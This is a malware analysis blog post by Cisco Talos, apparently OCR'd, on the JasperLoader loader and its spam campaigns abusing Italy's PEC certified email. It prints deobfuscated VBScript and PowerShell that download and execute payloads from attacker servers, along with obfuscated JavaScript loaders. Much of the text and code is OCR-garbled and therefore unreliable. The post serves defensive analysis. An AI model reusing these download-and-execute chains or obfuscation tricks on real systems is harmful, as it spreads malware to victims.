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Nick Biasini and Edmund Brumaghin authored this blog post with contributions from Andrew Williams.

Introduction to JasperLoader

Malware loaders are playing an increasingly important role in malware
distribution. They give adversaries the ability to gain an initial foothold on a
system and are typically used to deliver various malware payloads following
successful compromise. These attacks are popping up more frequently, as we

covered in July with Smoke L.oader and Brushaloader earlier this year. Loaders

allow attackers to decide which malware to drop based on how they feel they can
best monetize the access they gained. While malware loaders are commonly seen
with email-based threats, they have also been prevalent within the exploit kit
landscape for years. Recently, Cisco Talos observed an increase in loader activity
being used to deliver various malware to systems located in various European

countries.

Specifically, we're tracking a loader known as "JasperLoader," which has been increasingly active over the past

few months and is currently being distributed via malicious spam campaigns primarily targeting central European
countries with a particular focus on Germany and Italy. JasperLoader employs a multi-stage infection process that
features several obfuscation techniques that make analysis more difficult. It appears that this loader was designed

with resiliency and flexibility in mind, as evidenced in later stages of the infection process.

Over the past several months, we've seen several spam campaigns with signed emails attempting to infect victims
with JasperLoader and ultimately the Gootkit banking trojan. Message signing makes use of certificates'
verification to confirm the authenticity of the person sending the email, as only those with access to the private
keys should be able to sign the message. Message signing is not the same as message encryption and is used only
to validate the identity of the message sender not to guarantee the confidentiality of the message itself. Talos has
identified several malicious campaigns making use of this type of message signing as a way to lend credibility to

their messages and maximize the likelihood that potential victims will open the malicious attachments.

Malicious spam campaigns
As with many email-based threats, Talos observed multiple distinct campaigns

being leveraged to distribute JasperLoader. Each campaign featured various email
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templates and downloader configurations. Each campaign was also relatively
localized and featured multiple languages specific to each of the countries that
were being targeted. Most of the campaign activity targeted European countries
with a specific focus on Italy. However, we have identified campaigns targeting
countries outside of Europe. Below is an example of an email associated with one

of the campaigns targeting Germany.

G Tell ma what you want to do

[r— O P Craatm il . u O Fing
x ik il [ 3 5 Meeting F Create New % A b9 Iiﬂ L E"ij s
: = [ Relatad -
Delete Archive Reply  Reply Forward o= Rdave [ Actions = Mark  Categonze Follow | Translate
Al » Urmead = ol et
| Delete Fespond Quick Steps C e Tags a Editing
Boscotrecase Segreteria Direzione Sanitana, P.O. <pobosc.sds@asinapolidsud.it=

Zahlungserinnerung  FOSHETRAT253 330804463 168

Guten Tag.
e Angaben Ihres Einzahlungsschains fur die Rechnung Mr, 118504:

Freundliche Grussa

Figure 1: Example email (German)

The email is fairly basic and includes an attached ZIP archive. The subject line "Zahlungserinnerung" roughly
translates to "Payment Reminder," which is a theme consistent with many of the malspam campaigns commonly
observed in the wild. This particular campaign leveraged a Visual Basic for Applications (VBS) script that was
responsible for initiating the JasperLoader infection process. We'll dive into the obfuscated script later. The
campaigns targeting Germany were some of the only ones that were observed using VBS files to initiate the
JasperLoader infection. Most of the attacks generally used DOCM files to download JasperLoader, and ultimately
Gootkit.

As previously mentioned, most of the JasperL.oader campaign activity that has been observed over the past few
months has been targeting Italy. As can be seen in the screenshot below, these emails are significantly different
than those seen in the other campaigns. Rather than containing a malicious file attachment, these emails purport

that they are notifications associated with the receipt of a "certified email" and contain an attached EML file.

The threat actors distributing JasperLoader are leveraging a legitimate certified email service called Posta

Elettronica Certificata (PEC) to distribute these emails. This is a certified email service related to legislation

recently passed in Italy involving new requirements associated with electronic invoicing that took effect at the
beginning of 2019. This new legislation requires Italian businesses to use electronic invoicing to deliver invoices

for both business-to-business (B2B) and business-to-consumer (B2C) transactions. Attackers have recognized that

Page 2 of 23


https://www.pec.it/
https://www.pec.it/
https://www.pec.it/
https://www.tmf-group.com/en/news-insights/articles/2018/july/italy-mandatory-einvoicing/

https://blog.talosintelligence.com /2019 /04 /jasperloader-targets-italy.html

this is an attractive way to leverage an already trusted email service to maximize the likelihood that they can

convince potential victims to open their malicious emails.

File Message Help g Tedl me what you want to do
[— i Y ."' X | — o F Craate New % M 4 | I .-
X = I g [, Mesting { ¥
Delete Archive Reply Reply Forward T3 Mg |'-c'."1(_tic‘!'.5' Mark Categorize Follow
AN : T - Linread - Up=~
Delete Kespond ik Steps El Maove Tags 5
ed 3
] ~rmtE A o ~raraldarmino e e 1 - L st afm o ariha e
Per conto di: cerepieralda@pec.it <posta-certificata@pec.aruba.it>

POSTA CERTIFICATA: invio sollecito n.105543 del 27/03/2019

Signed By posta-certificata@pecanuba.it

daticertooml 3 postacert.eml (89.1 KE)

1]
il Fele L Cutlook tem

Messaggio di posta certificata

I giorno 27/03/20149 alle ore 14:05:51 (+0100) il messaggio
invio sollecito n.105543 del 27/03/2019" & stato inviato da "cerepieralda@pec.it”
indirizzato a:

Il messaggio anginale e incluso in allegato,
Identificativo messaggio: opec2891.20190327140551.09016.231.1.63@pec.aruba.it

Figure 2: Example "Certified" email

One of the requirements associated with this new legislation is that all electronic invoicing emails must be signed
and sent using a new platform called "Sistema di Interscambio (SDI)." Additionally, invoices should be sent using
a specific XML-based format for consumption and that format should be verified and its validity confirmed before

being transmitted to the recipient of the invoice.

As you can see, this particular campaign is leveraging this service, which allows them to transmit messages that
meet the requirements associated with this new legislation and abuse the trust between potential victims and the

certified email service.

Digital Signature: Valid [23m]

Subject:  POSTA CERTIFICATA: invio sollecito n 105543 del 27/03/2
From Per conto di: cerepieralda@pec.it
Signed posta-certificatai@ pec.aruba.it

R The digital signature on this message is Valid and Trusted.

For more information about the certificate used to digitally

sign the message, click Details.

|:|Warr1 me about errars in digitally signed email before message open

Close
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Figure 3: Certificate details

The certificate itself is valid and associated with the PEC certified email service that was described above. Using
the PEC certified email service, organizations are allowed to send attachments of up to 30MB to recipients. Posta
Elettronica Certificata (PEC) is currently being widely used in Italy, Switzerland and Hong Kong and allows
people to send registered email messages. The idea behind this project is to allow anyone — whether living in the
country or not — to communicate through official channels, while allowing for the verification of the authenticity
of the message sender. This service enables the communication of official business-related information without
relying on physical mail services, facilitating faster real-time communications.

Message Security Properties i

L—_|
3‘" Subject: POSTA CERTIFICATA: imvio sollecito n.lD5543 del 2703

Messages may contain enoryption and digital signature layers. Eadh
digital signature layer may contain multiple signatures.
Securily Layers

Select a layer below to view its description.
P Subject: POSTA CERTIFICATA: invio solledto n 105543 del 2703
—-ug [Ngital Signature Layer
" Signern: posta-certificata@pec.aruba.it

4 | mn
Description:

QK: Signed message.

Click any of the following buttons 1o view more information about or
make changes to the selected layen

Edit Trust... View Dretails Trust Certificate Authority.,

‘Warn me about errors in digitally signed email.

Figure 4: Certificate properties

The campaigns observed to be leveraging the PEC service contained emails that claim to be notifications of the
receipt of a "certified email message" and featured EML attachments. The screenshot below shows what one of

these EML attachments looks like when opened by potential victims.
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“ Message Help '-'.} Tell me what you want to do

5 Reply B ¥ Crate Mew + -m; E5% Mark Unread o A Q
2 Reply All Bp Categorize = |
Archive f El T Iove [ > Editing | Speech | Zoom
= Forward ¥ T ™ Fallow Ug = = =
Delete Respond Quick Steps iF Move Tags ] Zaom

Wed 327

V19 4228 AM
metalinfissisnc@pec.it

1 | invio sollecito n. 105543 del 27/03/2019

-

o We removed extra line breaks from this meszage

m Fatturazione_Elettronica_invio_copia_685718.zip

zip File

Im allegato copia del bonifico effettuato in data odierna =i richiede copia conforme della fattura oggetta del sollecita in=quanto non ci ¥7
pervenuta distinti saluti codice utenza 34=868518=0

Figure 5: Attached email message

As can be seen above, the attached EML files contain attached ZIP archives that hold Microsoft Word DOCM files
that reference the same invoice as the emails to which they were attached. The DOCM files contain malicious
embedded VBA macros that initiate the JasperLoader infection process. The metadata associated with the DOCM

files used across many of the campaigns have been observed containing the string value "VPS2day" in several of
the metadata fields.

1/ v Fatturazione_Elettronica__invio_copia_ 685718

Organize « Include in library = Share with « MNew folder
Jr F = Mame 2 Date modified
i Favorntes
Bl Desktop ﬂ__;ﬁ Fatturazione_Elettronica__invio_copia_ 940122 docm 3/27/2019 %11 AM

& Downloads
:_..J Recent Places
i OneDrive

& Libraries

Figure 6: ZIP attachment contents
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@ Fatturazione_Elettronica_invio_copia_940122.docm Pr... [wEdm|

| General | Secuiy | Detais  Pravious Versions

Flupeﬂ.:.- Walue -
Crnigin
Authors VPS2day

Las sawved by WPE2day

Revigan rumber 31

Version number

Programname  Microsalt Office Weed
Comparty VPEXay

Manager

Content created 12620015 7171 FM
Date last saved 32720019219 AM 3
Last pinted

Total ediing ime  17:46:00

14|

Content
Content status
Content type
Pages 1
Word count 1]

Chamctor ok 1

Bemave Propedies and Personal Information

QK [ Lancel | Apphy

Figure 7: Document properties
Talos identified multiple unique malicious DOCM files associated with JasperLoader campaigns taking place over
the course of several weeks. An example search for files with metadata containing the string "VPS2day" resulted

in 167 unique files in VirusTotal.

metadata:"VPS2day"

[] FILES 167

171013137c80d176191ea7305c67Te 142409db34398c3104 733273507352 3beve

docx create-ole Mmacros obfuscated run-file:

[

Figure 8: Metadata search results

In addition to the campaigns using malicious DOCM files to distribute JasperLoader, we also observed messages
containing malicious JS downloaders. There were also some campaigns that featured legitimate and malicious file
attachments. For example, some of the observed campaigns included ZIP files containing JS and XML files and
benign PDF invoices. In several of the campaigns, some of the files were improperly named. For example, the

XML files were .XM instead of . XML and the PDF invoices were .PF instead of .PDF.

Subtle changes like this can be surprisingly effective when attempting to convince potential victims to open file
attachments. Talos also observed campaigns that leveraged PDF attachments that contained no file extension

whatsoever. Investigating the PEC certified email service, we identified that this service is being widely abused by
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threat actors for a variety of malicious purposes dating back to the beginning of 2019 when the legislative

requirements took effect.

One other interesting aspect of this campaign was its utilization of Domain Shadowing, a technique Cisco Talos
discovered, which was pioneered by exploit kit users back in 2015. This technique allows the adversary to host
malicious content on subdomains associated with legitimate domains. This is typically achieved through abuse of

the registrant account, allowing for the creation of subdomains pointing to adversary-owned infrastructure.

JasperLoader details
Microsoft Word documents were attached to several of these malicious emails.

When opened, these documents displayed this decoy image:

BE%
n HOME — [MSERT  DESKMN  PAGELAYOUT  REFERENCES  MALINGS  REVIEW  VIEW
il i - — p— = #Hrind -
Calibei i A a M- 9= 8 5| T | |aspbome assbone AaBRC: AaBbCel 7o
. Replnce
Faste B T U-daa®® @-%-4- |8 - & FHoemal | THe Spac =

Clipboard & Fart

] Office 365

Questo file & stato creato con una versione precedente
di Microsoft Office 365

Per vizualizare il contenuto é necessario fare click sul pulsante
"Abilita modifiche", sulla barra gialla in alto, & poi
cliccare su "Abilita contenuto”

Figure 9: Example of a malicious Word document

The message displayed in the image is in Italian, and translates to:

This file was created with a prior Microsoft Office 365 version. To view the contents you need to click on the

"Enable modifications" button, located on the yellow bar at the top, and then click on "Enable content."

JasperLoader Stage 1
The Microsoft Word documents contain malicious macros that execute JasperLoader and start
the infection process. Using the Python oletools package, we can further analyze the macro

execution and determine how the infection process takes place.
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Figure 10: Analysis results using oletools

As displayed in the screenshot above, oletools detects the presence of the VBA macros embedded within the Word
document. The macro is configured to execute when the Word document is opened and is responsible for
executing the commands to initiate the infection. The presence of "Chr" within the VBA macros may indicate that
the macros have been obfuscated, which we will walk through to provide an example of the process analysts can

take to analyze these types of malware loaders.

In addition to the use of Microsoft Word documents, Talos also observed the use of ZIP archives that directly
contain VBS downloaders. The infection process is the same in both cases. While the obfuscation differs slightly
between the two types of campaigns, the approach is very similar. We will walk through the infection process
using the VBS with the following hash (SHA256):
dc78dbd42216fdb64c1e40c6f7a2fad92921{70c40446d62eb1873d6b77ee04c.

As previously reported by oletools, the macros have been obfuscated to make static analysis more difficult. The

macros define a variable and then an array containing a large number of elements.

a = array(*334","381","368","364","383","368","346", 365" ,"373", "368", "366", "383","307",
"391", Y354 “35Q" "366","3B1", "372", "aFon UMIE3N N3]IR M350 SQFIR A SRR AR ST Eaa]
","308","313","349", "384" , "377","299", "301", "379","378","386", "368","381" "382","371","3
ﬁall E II3?5-II 5 Il3?5" . llzggll ; Il3?2“ i "3'39" 2 " 39?" ] "299" L " 33?" 4 H33SH : II3ﬁEII ¥ I1333H 4 II3121I B Il352ll s 1I349II -
II334|I 5 I1334II ; ll3?’51|J II383II ; II384lI F II3$1II rllasall - "3&3" : II3'13II - II345II : “364“. "3?6 " - “358“ : llzggil ; II312

", 376", 364" ,"383", "366" , “371", 299", "386" , *349", "352", 391", ¥352","332", 391", 333" 73
56","391","334", 345", "306", 308", "390" 299", "368", 387", "372","383", "326" , 299", "392",
o m{iE [ R i n et | e R i e i s s e et ede e B s B e e REE s R T Lo s
B H3 S SRR BT RS A AR S A% AT S VAR A BB A T S O A S R e R
38“ 3 |I3631I 4 Il333" 0 1I351|I : IP3ESIP ; ll3?6ll : " 3?9 ¥ : H34?ll : " 364 n 5 H333H . n 3?1" " H3ﬂ?li 0 " 3@3‘“ - I1325II 3 1I3@3|I :
"368", 387" ,"388","382","389", "373","367*,"299", 328", "299", "341", "378", "372", "377", "312

Figure 11: Obfuscated VBScript array

At the end of the script, the following code is responsible for performing a mathematical operation on all of the
numbers in the array, reconstructing it into code that can be executed, and then executing it to continue the

infection process:

Page 8 of 23



https://blog.talosintelligence.com /2019 /04 /jasperloader-targets-italy.html

II388I'I : IIBBEH : “389" . II3?’3II r IIBB?II : II325II ; IIBGIII . ||311r| : "299" . II315lI :I
b - nmu
dl s .267
For Each x In a
If Len(x) then

b=Db+ Chr( x -,dl )
EndiEf
Next

Execute b

Figure 12: VBScript array reconstruction
The value assigned to the variable d1 is 267. To identify what is actually going to be executed, we can subtract
267 from each of the numbers present in the array and convert the resulting value into the corresponding VBScript

character using a conversion table similar to the one available here.

Once we have replaced the array values with the correct VBScript character value, we can see that the VBScript is
responsible for executing PowerShell commands. However, there are still a lot of artifacts from the VBScript
obfuscation present, which makes additional analysis difficult. Talos has observed that the value used for the

subtraction changes frequently across samples, but that the logic remains the same.

Figure 13: Converted VBScript character values
The next step is to remove all of the unnecessary characters that were part of the VBScript obfuscation to recreate
the VBScript, as well as the PowerShell associated with this stage of the infection. Once we have removed these

extra characters, we are left with the following partially obfuscated code:

CreateObject(“WScript.Shell™).Run[space] " powershell[space]if([space]{Get-UlCulture).Name[space]-match]

space] "AU| M| BY |CN" ) { [ space]exit; [space] } ; Bizwjed[ space]=[ space] [System.I0.Path]: : GetTempPath{ ) ; Fexyszix[
space]+[space]Join-Path[space ] $izwied]

space ] "AdobeAR. e $xuy]fe="http: ffcloud. diminishedvaluecallfornia. com/581 > dwgvhge ' ; $axctdct[space]=[ space]
Join-Path[space]$izwjed[space] "SearchI3Z_js';$sywwiy="http://cdn.zaczvk.pl/

loadercrypt_| 321EF3.|-\E-1'«’J'§1‘M 4B5CI600ADACCS . phpPvid=";%fybte[space ace]loin-Path[space]$izwied]

space] 'illustrations5 g ; Budwhfw="https:/ fwww.telekom. de/resources fimages /138468 /e55-111ustrations -VBa6-Mein
eErstefechnung-FHN-56. 1:-r1|,I Sn.‘ljdc- {NGayBRWew-0btayBRVEH bayBRVWeGayBRVWCct6ayBRW [ space Net. WebChayBRVELient ) cay B
RVW. Do6 ay BRVidwn 16 ay BRVidoGay BRVIad6 ay BRVWF 6ay BRVWI Le ( GayBRVWS s ywwEayBRVW]y , 6ayBRWWEaxctdctbayBRW) ; * [ space] -replac
e[space] "6ayBRVM', " ' ;iex[space]fccjjdc;Start-Process|

space]$axctdct; $tjfgy="( NuVRWRLLew-DuVRNRuthuVRWRut jecuVRMRt t] space]

Met . uWRWRutiWebC14 ent ) . uWRER It DouVRWRutwnl oauVRWRutdF1 1 euVRWR Ut { S ubRMRrtuduVRNRu twhfw, $FuVRWR tybte )

uVRWRUL; " [space]-replace[space] 'uVRWRUL ', ' " ;lex[space]$t]fgy rt-Process[

space]$fybt ilvu'f}h: (N5 25 Rvw=0b6xz h R 2QCRvE] space]NebxzQCRvE . GxrQCR) rliehﬁ: !.l:'f&afhont'i Do
wnloadFexzQCRvile($xuyjfe . ; XRv; *[space]-replace[space]”

space]$yuzfyb;Start-Proc ess[rpacnjiﬂ : ,[5pa ﬂ]B j

Figure 14: Partially obfuscated script
Several string values have been inserted into the PowerShell that the VBScript will execute in order to avoid

string-based detection and make much of the PowerShell unreadable. A closer look at the portion of the
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PowerShell instructions that haven't been obfuscated show that during the execution process, -replace will be used
to remove these extra string values to allow for the reconstruction of the obfuscated Powershell. Examples of this

operation can be seen in the below syntax:

-replace '6ayBRVW',"";
-replace 'uVRWRut',"";
-replace '6xzQCRv',"";

This code instructs the system to replace these three string values throughout the script with nothing, effectively
removing them and allowing the Powershell code to properly execute. Manually removing all references to these

three strings results in the following:

CreateObject(“WScript.Shell®) . Run “powershell if( (Get-UICulture).Name -match 'RU|UAJBY|CH*){ exit; };$izwjed = [
System.I0.Path]::GetTe [};$exyszjx = Join-Path $izwjed

*AdobedR. exe " ; :ffclood. dimil edvaluecalifornia. com/581 Pdwgvhge® ; $axctdct = Join-Path $izwjed
‘SearchI32. s’ ;$sywwiy="http: //cdn.zaczvk.pl/loadercrypt_823EFEAB10513A4871485C36DDADMCCI . php2vide" ; Sfybte =
Join-Path $izwjed ‘illustrations5543.png°;Sudwhfw="https: E .de/resources,

images/138468,/e55-111ustrations- V@86 -Meine eRechnung-FN-SG6.png " ;$cc] [

Net.WebClient) . DownloadFile ($sywiy, faxctd ' dlex $ccjjdc;Sta Process ;3tjfgy="(New-Object
Net.WebClient) . DownloadFile($udwhiw, $Tybte iex $tifgy;Start-Proc 40 yb="(New-Object
Wet.WebClient) . DownloadFile($xuyjfc,fexyszjx); "’ lex Fyuzrfyb;Start-Process $exyszix;", 8%)

Figure 15: Deobfuscated Stage 1 Powershell

This script performs the following operations:

e Calls WScript and uses it to execute PowerShell.

e PowerShell is used to invoke the Get-UICulture cmdlet to identify the language set used on the system.

« If the language set is associated with one of the following countries, the infection process terminates:

¢ Russia

e Ukraine

e Belarus

e The People's Republic of China

e Downloads additional data from the following URLs:

e hxxp://cdn[.]zaczvk[.]pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=

o hxxps://wwwl.]telekom[.]de/resources/images/130468/eSS-illustrations-V006-MeineErsteRechnung-FN-
SG.png

e hxxp://cloud[.]diminishedvaluecalifornia[.]Jcom/501?dwgvhgc

o The data downloaded from the aforementioned URLs is saved to the following file location, respectively:

o %TEMP%\SearchIE32.js

e %TEMP%\illustrations5543.png

e %TEMP%\AdobeAR.exe

o Executes the downloaded files, continuing the infection process.
The infection process then continues with the execution of the contents that were retrieved from the

attacker's distribution servers.

JasperLoader Stage 2

As previously mentioned, the PowerShell executed in Stage 1 is responsible for reaching out to
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three distinct URLSs used to retrieve and execute content on infected systems. The first URL that is

defined is: hxxp://cloud|[.]diminishedvaluecalifornial.]Jcom/501?dwgvhgc.

The malware loader initiates an HTTP GET request for contents hosted at the aforementioned URL and returns a
numerical value from the attacker-controlled server. Note that the code is present within the Content Body of the

HTTP Server Response:

GET /5817dwgvhgc HTTP/1.1
Host: cloud.diminishedvaluecalifornia.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 25 Mar 2819 14:32:14 GMT

Server: Apache/s/2.2.15 (Cent0S)
Last-Modified: Tue, 22 Jan 2019 16:31:28 GMT
ETag: "9f688-4-5800e82560818"

Accept-Ranges: bytes

Content-Length: 4

Connection: close

Content-Type: text/html; charset=UTF-8

1o 0]

Figure 16: Example HTTP GET request
As defined by the Powershell instructions in Stage 1, the returned content is then saved to
%TEMP%\AdobeAR.exe.

In addition to the value "500" that is returned to the client, Talos has also observed additional codes being returned
such as "404," "408," etc. In all of the cases Talos observed, the HTTP Response Code remains 200 OK, but the

code present in the Content Body varies.

The malware loader also reaches out to the attacker's server at
hxxp://cdn[.]zaczvK[.]pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?vid=.

Following an HTTP GET request by the malware loader, the malicious server responds by sending back an HTTP

response that contains obfuscated JavaScript:
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GET /loadercrypt_823EF8AB108513A4071485C36DDADACC3 . php?vid= HTTP/1.1
Host: cdn.zaczvk.pl
Connection: Keep-Alive

HTTP/1.1 208 0K

Server: nginx/1.14.2

Date: Mon, 25 Mar 2019 13:31:27 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.16

fiUYC - n u;

xfbjixjsytvxjyuvcaxhfehv = new Array();
xfbjixjsytvxjyuvcaxhfehv.push("i95BtfTT");
xfbjixjsytvxjyuvcaxhfehv.push("C(");
xfbjixjsytvxjyuvcaxhfehv.push("wVC3Ea");
xfbjixjsytvxjyuvcaxhfehv.push("93V6x46z");
xfbjixjsytvxjyuvcaxhfehv.push("9E7txXtAG6tRS3>Sz5t4w");
xfbjixjsytvxjyuvcaxhfehv.push{"Bv9"};
xfbjixjsytvxjyuvcaxhfehv.push("xta7");
¥xfbjixjsytvxjyuvcaxhfehv.push("49");

Figure 17: Stage 2 obfuscated JavaScript

As defined in Stage 1, the contents of the returned JavaScript are saved to the % TEMP%\SearchIE32.js and
executed. The contents have been obfuscated to make analysis more difficult. Similar to what was seen with the
VBScript obfuscation in the previous stage of the infection, the code defines an array, and then uses push() to
create the string of obfuscated data. JavaScript code at the end of the returned content is responsible for

reassembling, deobfuscating, and then using eval() to execute the JavaScript.

xfbjixjsytvxjyuvcaxhfehv.push{"BTjxB26d7SwA\"ZAVC 3L9E 57R");
xfbjixjsytvxjyuvcaxhfehv.push{" TatR");

var a = 12757 - 344 - 7737 - 4671;

var b = "";
eval("zijsyxhdgegzhjuguayeedc=aijsyxhdgegzhjuguayeede”.replace(/(1jsyxhdgegzhjuguayeede)+#gi, ""));
var ¢ = xfbjixjsytvxjyuvcaxhfehv. join{fiuyc).split{"");

for{ var x = 8; x < c.length; x++){

if{ z == 18668 - Ti68B - B354 - 3141 }{
b += c[x];
a = 8;
}
a ++;
eval("zijsyxhdgegzhjuguayeedc=aijsyxhdgegzhjuguayeede” . replace( /(1jsyxhdgegzhjuguayeedc )+/gi, ""));
}
eval{ b };

Figure 18: JavaScript execution functionality

The good news with JavaScript obfuscation is that, typically, the code deobfuscates itself prior to execution.
Rather than attempt to manually deobfuscate the JavaScript, we can rely on this behavior to have the code
deobfuscate itself automatically. In order to more efficiently deobfuscate and analyze the malicious JavaScript, we

can use an analysis tool like Malzilla.
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Figure 19: Malzilla decoder tab
Malzilla will deobfuscate the JavaScript and display it in the lower pane. In the case of JasperLoader, this results
in another script containing a partially obfuscated set of PowerShell instructions that defines how the malware will

continue the infection process.

Run seript

Replace pual] wit feols . Temglates | e 7 U052 |

™ Ovemde =val)
Formatoode | Shzw ) r.mh'.l

0 Ledwe 8606 [ D naal bathes me with messages

Scnpt can't be compiled, but # produced eveluation resubs

Figure 20: Malzilla output

The returned script is partially obfuscated using the same method we encountered previously. As we saw before,
we simply need to remove the junk strings included throughout the script to fully deobfuscate it. Once those
strings are removed, we are left with a script that looks similar to what we saw earlier, with a few changes

included:

3

- )

; $t(-a'.h.1hs = Jodn- F'ath Efuszhhghadh.jhlfl.lgi)'
“Searchl3 C ) '. m. zwk.pl/S

crypteDDiD 7213070894EB6930. php " ;$jdifdbesevbjvvsavgffaude = Join-Path $taszwhghadhjbvugiy

‘Searchl3? ,Sfldaathuttd- http: /fedn. zacevk. plyf

loadercrypt_S23EFBAS10513A4871485CI6D0ADCCT . php " ; Fjwihby]) zvhwwziwzadiuxat = * " ;%aszhabegubesgl cdajhwjwe=" {New-Object

Net.WebClient ) .DownloadFile(# C s L,:’.tl'ah'-:jhs $aarhabegubcsgicdajeiwc ;Get -
Where-Object {3_ -match $rege | ForEach-Object { $jwihbyjzvhwwziwzadiuxat += §_ -replace "

-Command $jwihbyizvhwwzivzadiuxcat: beatch] Start-Sleep -Seconds 180: Iwsfdiweffvte="MNew-Object
Het.WebC1lient ) . Down uadFilni‘Efidadrhg‘_‘trdu E‘Idih:lbn_fe”bj vsavgffxude); " dex fwsfdiweffvte;Start-Process
$jdifdbcsevh]w

shaghexywtdt
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Figure 21: Stage 2 PowerShell deobfuscated
This script is responsible for performing the retrieval of the commands associated with the next stage of the

infection process. It performs the following actions:

e Calls WScript and uses it to execute PowerShell.

e PowerShell is used to invoke the Get-UICulture cmdlet to identify the language set used on the system.

« If the language set is associated with one of the following countries, the infection process terminates:

e Russia

e Ukraine

e Belarus

e The People's Republic of China

e Downloads additional data from:
hxxp://cdn[.]zaczvk[.]pl/cryptODD1D2637FDB71097213D70B94E86930.php

e Saves the downloaded contents to % TEMP%\SearchIE32.txt

e Reads the contents of the downloaded file and performs a Regex based replacement to deobfuscate it.

o Executes the deobfuscated code to continue the infection process. In addition to retrieving the data required
to continue the infection process, the script also implements a Sleep cmdlet for 180 seconds then attempts

to retrieve the latest obfuscated JavaScript that is hosted at the same URL that was referenced in Stage 1.

Figure 22: Stage 2 — JavaScript retrieval

This JavaScript is then executed again. This is a mechanism that can be used to ensure that as the attackers modify
the infection process, they can ensure that any previously infected systems automatically retrieve the
modifications and are updated accordingly. This demonstrates an approach that ensures that this loader can be

used repeatedly, potentially to deliver different malware payloads over time.

As previously mentioned, the malware makes an HTTP GET request to the following URL to obtain additional
instructions from the attacker-controlled server:
hxxp://cdn[.]Jzaczvk[.]pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php.

GET Jferypls
Host

HTTRSL.1 288 0K
Server: ngin</l.14.2

text/html; charset=uTF-8
er-Encoding: chunked

ciion: keep-alive

E-Pawerad-By: PHPSS. 4,16

U lq rhﬂfvﬂ Thi iGETaerStvl -givdt IacCaruxelactd Tbwr S3ehy )26 irve jahgnflewT ga-g9nefaubtwyetvhovt Gw'coffl FUas | Sauuzaxi | qubvives |

n1d yeid8rheeddatfrdced4siThTdocer4BrsTeahue L jwi(a2 Tgs1allensakdd, gj hassasidredglSussmyhel jnwdt2eshl, 52
F kJJ|1v|\Jg1’n-r|} rAdes?esltajordrduyed he b7 {2y
B2 st B1tlirTxyer{o3

3w Wi dv da adFveSAihtrezilodlda Sv=xt thlzyeTuwvs- 1q0hThazjeyeivewttgw g]-38CE3owifnaZlydbdcitdeidchdiat By’ hiWdaSazchgrizivgmedige,
Basx jhtxeduliulje' zi)aj vyl

b3 x5 hs ux SuFiTSddhlioazrrut jBCiauvetd? wF=7c yhSyzSvthgeexfliul® . viCavraxee jaBltsjet TEGEhT iout regigEcweuvhtyf{ah 915hwlTsnavkt®
Belbx;xi
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Figure 23: Stage 3 retrieval
The obfuscated data that is returned by the server is then saved to % TEMP%\SearchIE32.txt. The script then reads
back the contents of this file and performs a regex replacement operation to deobfuscate it so that it can be

executed:

$aazhabegube sgi cdar hrjuc=

dex $aazhabeg

Gek-Content $tfawciks | Where-Object {§_ -mxtch $regex} | ForEach-Chject { $jwihbyjzviesziscadivcst += §_ -replace

wzadiuxat;

Figure 24: Stage 3 deobfuscation instructions
In order to further analyze the infection process, we need to deobfuscate the contents that were retrieved by the

PowerShell. One way is to manually perform the same operation as the PowerShell.

In the previous screenshot, the following line of PowerShell is responsible for deobfuscating the code that was

previously retrieved and adding it to the end of a variable assignment, which is later executed:

Get-Content $tfawcihs | Where-Object {$_ -match $regex} | ForEach-Cbject { $jwlhbyjzviwwziwzadiumat += 3_ -replace

{

Figure 25: Stage 3 deobfuscation regex
As the SearchIE32.txt file is read back in, the -replace statement is responsible for removing two of every three

characters from the file to deobfuscate and reconstruct the PowerShell commands to be executed. The operation
looks like this:

The obfuscated code contains a lot of junk code:

0zig7fs9(y4 7b(i6G7aet5tvf-gildtIacC4zuxelactd7ubwr53ehy)26.izNejahgm71ewf ga-99mefaubtwyctvhub 6w'cxRf7Ua5]5al

For every three characters present in the obfuscated code, the first two characters are removed and the remaining

character is added to the end of the variable $jwihbyjzvhwwziwzadiuxat

For example, the string:

0zig7fs9(y4 7b(i6G7aet5tvf-gildtIacC4zuxelactd7ubwr53ehy)26.izNejahgm71ewf ga-99mefaubtwyctvhub 6w'cxRf7Ua5]5al

Becomes the PowerShell command:

if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; }
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In order to more efficiently deobfuscate the next stage of instructions, we will leverage the PowerShell ISE
console to unpack the code for us. We can do this by copying the data retrieved from the server to our system and

modifying the same PowerShell commands specified in the aforementioned script:

PS CAlzersibdnlched) Deckiop>

bdnlshed, Desktap) SearchIf32. tut *;

G where-Object [§

ForEach-0bject | $jwihbyg rvbewsiwzadiuxat 5 L g LY - )

Figure 26: PowerShell ISE Input
Now that the variable $jwihbyjzvhwwziwzadiuxat contains the deobfuscated code, we can simply retrieve the

current value stored in this variable:

P5 Ch\Users\b4nlshed\Desktop >

= Get-Variable jwihbyijzvhwwziwzadiuxat -ValueOnly

Figure 27: Using PowerShell ISE to retrieve code
This causes the PowerShell ISE console to provide the deobfuscated commands that will be used for the next

series of operations. We can now retrieve this information and continue our analysis.

sarsibanlched|Desktops Get-Variahle jwihbyjzvhwwziwzadiuat -Valueonly
Ttwra), Name -match "RUJUA|BYJCN' )] exit; } Function CreateShortout{ $Tnk, $Arguments, SWorkingDirectory )4 tryi
—_ o I ki L5k

t -Combbject {"Wieripk,Shell $ShortCut = $5hell . Cre s §lr ChartCutl, Argumenta= SArguments |
FPath = ‘csoript ot $5hor ¥ $ShortCut . WindowStyle = 1;
s "Windows I rwice”; L }eatch{
. } } Eunctia fa W wutam -P
jeatch] fa = ] } try
h{ §a == "OMG_"; ¥ tryl foreach (Sdisk {
? o toatch{ fa += "QOOOOO0"; 1 Retwrn 3a; } Createll

1 3 [ sGet TempPath();
1% Sowe File o Inin-Patls S dir “SasrchT1) svae Lldr File = Tnin-Patrh Tee die CanerhTI3

eout = B0; Slogs = &([string]( S(get-date] 1): Spsver = ( (Go
ot | = _Inan "

‘SanwchTID'r fotnn Patl Gwas Ai

Figure 28: PowerShell ISE Stage 3 output

JasperLoader Stage 3
Now that we have obtained the PowerShell responsible for the next stage of the infection process,
we can begin to observe the main characteristics of the malware loader itself. Below is the

Powershell code associated with this stage of operations.

Figure 29: Stage 3 deobfuscated PowerShell

As can be seen in the screenshot above, this is where the majority of the activity associated with JasperLoader
